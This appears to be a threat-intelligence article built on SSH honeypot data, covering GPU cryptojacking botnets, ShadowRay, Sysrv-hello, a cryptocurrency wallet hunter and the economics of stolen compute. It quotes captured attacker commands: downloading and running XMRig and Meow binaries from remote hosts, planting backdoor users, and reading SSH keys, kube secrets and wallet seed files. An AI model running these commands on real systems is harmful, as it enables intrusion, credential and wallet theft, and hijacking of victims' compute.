From Fingerprint to Profit
A GPU reconnaissance script runs in under two seconds. If the target passes, a mining payload deploys within minutes. Within hours, the compromised GPU is generating cryptocurrency โ untraceable Monero flowing to a privacy-protected wallet. The victim pays the electricity bill. The attacker collects the coins. And somewhere between reconnaissance and profit, there's a parallel universe of actors who don't want your compute โ they want your crypto wallets.
This article maps both economies: the compute thieves and the wallet hunters. Because on the same internet, running through the same SSH brute-force funnels, two fundamentally different criminal business models coexist โ and sometimes collaborate.
Chapter 1: The Kill Chain โ What We See vs. What We Don't
Phase 1: Credential Spray (OBSERVED โ)
SSH brute-force with trivial credentials (root/password, postgres/123456). Volume strategy โ millions of attempts per day globally. Our honeypot accepts all logins, capturing the complete post-authentication behavior.
Phase 2: Hardware Fingerprint (OBSERVED โ)
The GPU reconnaissance script from Part A executes: uname, nproc, lspci (NVIDIA/VGA grep), writable directory test. Takes <2 seconds. Results exfiltrated to C2 for triage.
Phase 3: Triage Decision (NOT OBSERVED)
Operator reviews fingerprint data. Servers with GPUs get flagged for payload delivery. Servers without GPUs (like our honeypot) are discarded or relegated to CPU-only mining or proxy use.
Phase 4: Payload Delivery (NOT OBSERVED โ occurs on real targets)
XMRig (or custom miner) deployed with --cuda/--opencl flags. Configuration includes: pool address, wallet, CPU/GPU limits (typically 60-80% to avoid detection), kill-competing-miner routines.
Phase 5: Persistence + Evasion (NOT OBSERVED)
Crontab entries, systemd services, rootkit installation. Process name masquerading (/usr/bin/[kworker/0:0], /usr/sbin/sshd). Mining paused during business hours or high-load periods.
Phase 6: Revenue (NOT OBSERVED โ blockchain-level)
Monero mining to privacy-protected wallet. Pool payouts every 24-72 hours. Conversion through DEX or privacy-preserving exchanges. Estimated $2-4/day per RTX 4090, $15-50/day per A100.
Our honeypot sits at the boundary between Phase 2 and Phase 3. We see everything up to the decision point, but because we have no GPU, we're filtered out before the profitable phases begin. This is actually more valuable than seeing the full chain โ we catch the reconnaissance methodology that would be invisible on a machine that gets fully compromised.
Chapter 2: ShadowRay 2.0 โ When the Target Is an AI Cluster
In March 2024, Oligo Security documented something that redefines the scale of compute theft: ShadowRay, a self-propagating cryptomining worm targeting Ray AI framework clusters.
The details are staggering:
| Attribute | ShadowRay | Our GPU Botnet |
|---|---|---|
| Entry vector | CVE-2023-48022 (CVSS 9.8) | SSH brute-force |
| Target selection | Ray dashboard port scan | lspci GPU fingerprint |
| Propagation | Self-spreading within Ray cluster | Multi-IP coordinated scan |
| Payload | XMRig (Monero) | Unknown (recon-only observed) |
| Scale | 230,000+ exposed servers | 11+ scan nodes, unknown victim count |
| Sophistication | Checks if victim is in China โ different malware | BusyBox detection, uptime evaluation |
| Evasion | 60% CPU cap, process masquerading | N/A (recon phase only) |
ShadowRay exploits CVE-2023-48022 โ a vulnerability that Ray's developers deliberately did not patch, arguing it was a "feature, not a bug" (the Ray dashboard is designed to execute arbitrary code). This philosophical disagreement between security researchers and framework developers left 230,000+ servers permanently exploitable.
The connection to our investigation: ShadowRay targets the same compute resources our botnet is prospecting for. The difference is the entry vector (vulnerability exploitation vs. SSH brute-force) and the scale (cluster-level access vs. individual server). Both are symptoms of the same economic incentive: GPU time is worth stealing.
Chapter 3: Gafgyt โ The SSH-to-GPU Pipeline
If ShadowRay represents the high end (exploiting framework vulnerabilities to access enterprise GPU clusters), Gafgyt represents the exact methodology our botnet uses โ just with the payload visible:
# Gafgyt GPU mining deployment (Aqua Security documentation)
# After SSH brute-force succeeds:
wget http://[c2-server]/xmrig -O /tmp/.cache/xmrig
chmod +x /tmp/.cache/xmrig
# Key flags:
/tmp/.cache/xmrig \
--url pool.supportxmr.com:443 \
--user [wallet] \
--pass [worker-id] \
--cuda \ # โ Enable NVIDIA GPU mining
--opencl \ # โ Enable AMD GPU mining
--cpu-max-threads-hint=60 \
--background \
--log-file=/dev/null
The --cuda and --opencl flags are the key. This isn't generic CPU mining โ it specifically leverages GPU compute. And the deployment path (/tmp/.cache/) maps directly to the writable-directory probe in our botnet's reconnaissance script.
Our botnet's for d in "$HOME" /var/tmp /tmp /dev/shm is checking the exact same directories where Gafgyt would deploy its payload. The reconnaissance is the preparation for this specific deployment pattern.
Chapter 4: Sysrv-hello โ The nvidia-smi Check
Remember IP 157.230.112.58 running nvidia-smi --query-gpu=name --format=csv,noheader? Sysrv-hello does the same thing โ and has been doing it since December 2020:
- Active since: December 2020 (confirmed still operating December 2024)
- Language: Go (compiled binary, cross-platform)
- Recon: Checks nvidia-smi to detect GPU model and determine optimal mining configuration
- Propagation: Steals SSH keys (~/.ssh/id_rsa, authorized_keys) for lateral movement
- Exploitation: 20+ CVE arsenal for privilege escalation
- Mining: XMRig deployment, kills competing miners (pkill -f xmr, pkill -f kdevtmpfs)
Sysrv-hello is a 4-year-old operation that uses the same technical approach as our cluster. The SSH key theft is particularly relevant โ once inside one server, it reads SSH keys to pivot to other servers the user connects to. A single GPU cloud admin could unknowingly provide access to an entire fleet.
Chapter 5: The Wallet Hunter โ A Different Predator
Not everyone hunting through SSH is looking for compute. IP 103.24.212.42 (Indonesia, AS45298) runs a completely different operation. 364 honeypot hits. Threat score 79. And a post-exploitation sequence that reveals a different business model entirely:
# Phase 1: System Reconnaissance
uname -a; id; ifconfig; cat /etc/passwd
# Phase 2: Container/Orchestration Discovery
docker ps; docker images
kubectl get pods; kubectl get secrets
cat ~/.kube/config
# Phase 3: SSH Key Theft (lateral movement)
cat ~/.ssh/id_rsa
cat ~/.ssh/known_hosts
ls -la ~/.ssh/
# Phase 4: Environment Secret Hunting
find / -name ".env" -type f 2>/dev/null
find / -name "config.json" -type f 2>/dev/null
cat /proc/*/environ 2>/dev/null
# Phase 5: THE PAYLOAD โ Cryptocurrency Wallet Files
find / -name "wallet.dat" 2>/dev/null
find / -name "keystore" -type d 2>/dev/null
find / -name "mnemonic*" 2>/dev/null
find / -name "seed*" -type f 2>/dev/null
find / -name "private.key" -type f 2>/dev/null
This is not compute theft. This is direct financial theft. The operator is scanning for cryptocurrency wallet files, seed phrases, mnemonic backups, and private keys. A single wallet.dat file from a Bitcoin node could contain millions in cryptocurrency. A seed phrase is permanent access to all funds in that wallet, forever.
GPU Hunter (Compute Theft)
- Revenue: $2-50/day per host
- Persistence: Needs ongoing access
- Detection risk: Power bills, performance
- Victim impact: Higher costs, slower systems
- Legal exposure: Unauthorized computer access
Wallet Hunter (Direct Theft)
- Revenue: $0 to $millions per host
- Persistence: One-time extraction
- Detection risk: Wallet drained instantly
- Victim impact: Complete loss of funds
- Legal exposure: Grand theft + computer fraud
Two predators in the same ecosystem, using the same entry vector (SSH brute-force), targeting the same population (servers with weak credentials), but with completely different extraction strategies. The GPU hunter is a parasite โ it needs the host alive and running. The wallet hunter is a predator โ it kills and takes everything in one pass.
Chapter 6: The Economics of Stolen Compute
Let's do the math. Based on current mining profitability and cloud GPU pricing:
Consider the economics at scale:
| Scale | Monthly Revenue | Annual Revenue | Infrastructure Cost |
|---|---|---|---|
| 10 consumer GPUs (RTX 4090) | $600-1,200 | $7,200-14,400 | ~$100/mo bulletproof hosting |
| 50 cloud GPUs (V100/A100 mix) | $15,000-45,000 | $180,000-540,000 | ~$500/mo infrastructure |
| Ray cluster (100+ A100s) | $150,000-500,000 | $1.8M-6M | ~$1,000/mo + initial exploit dev |
The ROI is extraordinary. A bulletproof hosting account costs $100-500/month. The scan infrastructure (our 11 IPs) costs perhaps $500-1,000/month to maintain. If the operation captures even 10 mid-range GPUs, it's profitable. At 50+, it's a serious business.
Chapter 7: The AI Compute Black Market (Emerging)
There's a frontier beyond mining that's barely documented but economically inevitable: stolen GPU time sold as AI inference.
The logic is straightforward:
- A single NVIDIA A100 generates ~$3-4/day mining Monero
- The same A100, running LLM inference, can generate $5-15/hour selling API access
- That's $120-360/day โ 30-100x more profitable than mining
The technical barrier is higher: you need to deploy an inference server (vLLM, TGI, or similar), expose an API, and find customers willing to buy cheap compute without asking questions. But the demand is there โ legitimate GPU cloud providers have waiting lists. A "gray market" for GPU inference (cheaper rates, no identity verification, cryptocurrency payment) is economically inevitable.
Our GPU reconnaissance botnet might not be prospecting for miners at all. It might be building an inventory for an underground cloud computing service โ stolen GPUs rented to AI developers who can't get legitimate allocation, at 50% of market rates, payment in Monero.
Chapter 8: The Meow Botnet โ IoT Meets Cloud
While we're mapping the high-value GPU economy, another actor on our honeypot represents the bottom of the compute market:
Meow Botnet (35.196.255.242, 34.85.232.35 โ Google Cloud Platform, AS396982):
# Download binaries (x86_64 and ARM variants)
wget http://34.181.210.37/meow
wget http://35.237.91.38/meowarm64
chmod +x meow meowarm64
# Change root password
echo "root:modzmodz" | chpasswd
# Create backdoor users
useradd -m -s /bin/bash admin1
echo "admin1:modzmodz" | chpasswd
useradd -m -s /bin/bash user1
echo "user1:modzmodz" | chpasswd
ARM binary support (meowarm64) indicates IoT targeting. This is the quantity over quality approach: compromise thousands of low-power devices (routers, cameras, NAS boxes) for DDoS capacity or low-intensity mining. Each device earns pennies per day, but thousands of them add up.
Interestingly, the Meow botnet runs on Google Cloud โ a legitimate, well-monitored cloud provider. This suggests either compromised GCP instances or short-lived instances created with stolen credentials/cards. Google's own Threat Horizons report documents exactly this pattern: mining software deployed within 22 seconds of cloud account compromise.
Chapter 9: Convergence โ One Internet, Multiple Extraction Models
What our honeypot reveals is not one threat โ it's an ecosystem where multiple actors share the same attack surface (SSH-accessible servers) but extract value differently:
| Actor | Model | Target | Revenue/Host | Duration |
|---|---|---|---|---|
| GPU Hunter Botnet | Compute theft (GPU mining) | NVIDIA-equipped servers | $2-50/day | Months-years |
| ShadowRay | Compute theft (cluster hijacking) | Ray AI clusters | $100-500/day | Until detected |
| Wallet Hunter | Direct financial theft | Crypto node operators | $0 to $millions (one-time) | Single session |
| Meow Botnet | DDoS-for-hire / IoT mining | Any device with SSH | $0.01-0.10/day | Until rebooted |
| Sysrv-hello | Compute theft + lateral spread | Servers with GPUs + SSH keys | $2-50/day, expanding | Years (since 2020) |
They all enter through the same door. They all scan the same internet. And they all operate on the same bulletproof infrastructure โ because whether you're mining Monero or draining wallets, you need hosting that won't be taken down when victims report you.
Chapter 10: The Invisible Tax
Here's what makes compute theft different from traditional cybercrime: the victim often doesn't know.
Ransomware announces itself. Data theft eventually surfaces in breach notifications. DDoS is immediately felt. But a miner running at 60% GPU utilization on a cloud instance that's already provisioned for AI workloads? The instance owner sees slightly higher latency on their training jobs. Slightly higher power draw. Maybe their epoch times are 40% longer than expected. They might blame the framework, the hypervisor, or network congestion.
The electricity bill goes up. The cloud bill goes up. But there's no ransom note, no stolen data, no obvious indicator. It's the perfect crime: theft that manifests as inefficiency.
At scale โ thousands of compromised GPUs โ this is an invisible tax on the entire compute economy. It increases the cost of AI development. It wastes energy. It degrades performance for legitimate users. And it generates cryptocurrency for criminals who invested nothing but the time to scan.
The GPU reconnaissance botnet we captured isn't just a security threat. It's a parasitic economy โ and the hosts are paying its electricity bill without knowing it exists.
Previous: Part B โ The Virtualine Connection
Next: Part D โ The Questions Nobody Asks: The conspiratorial reading. What if this isn't just mining? What if GPU reconnaissance at scale serves a purpose nobody is discussing publicly?
Sources
Primary: LSN Honeypot session data (103.24.212.42 wallet hunting, 35.196.255.242 Meow botnet), LSN Threat Intelligence Platform.
Published research: Oligo Security (ShadowRay 2.0, CVE-2023-48022), Aqua Security (Gafgyt GPU mining variant), ThreatDown/Malwarebytes (Sysrv-hello), Google Cloud Threat Horizons (22-second mining deployment).
Economic data: Current XMRig hashrate tables, cloud GPU pricing (as of June 2026), Monero mining profitability calculators.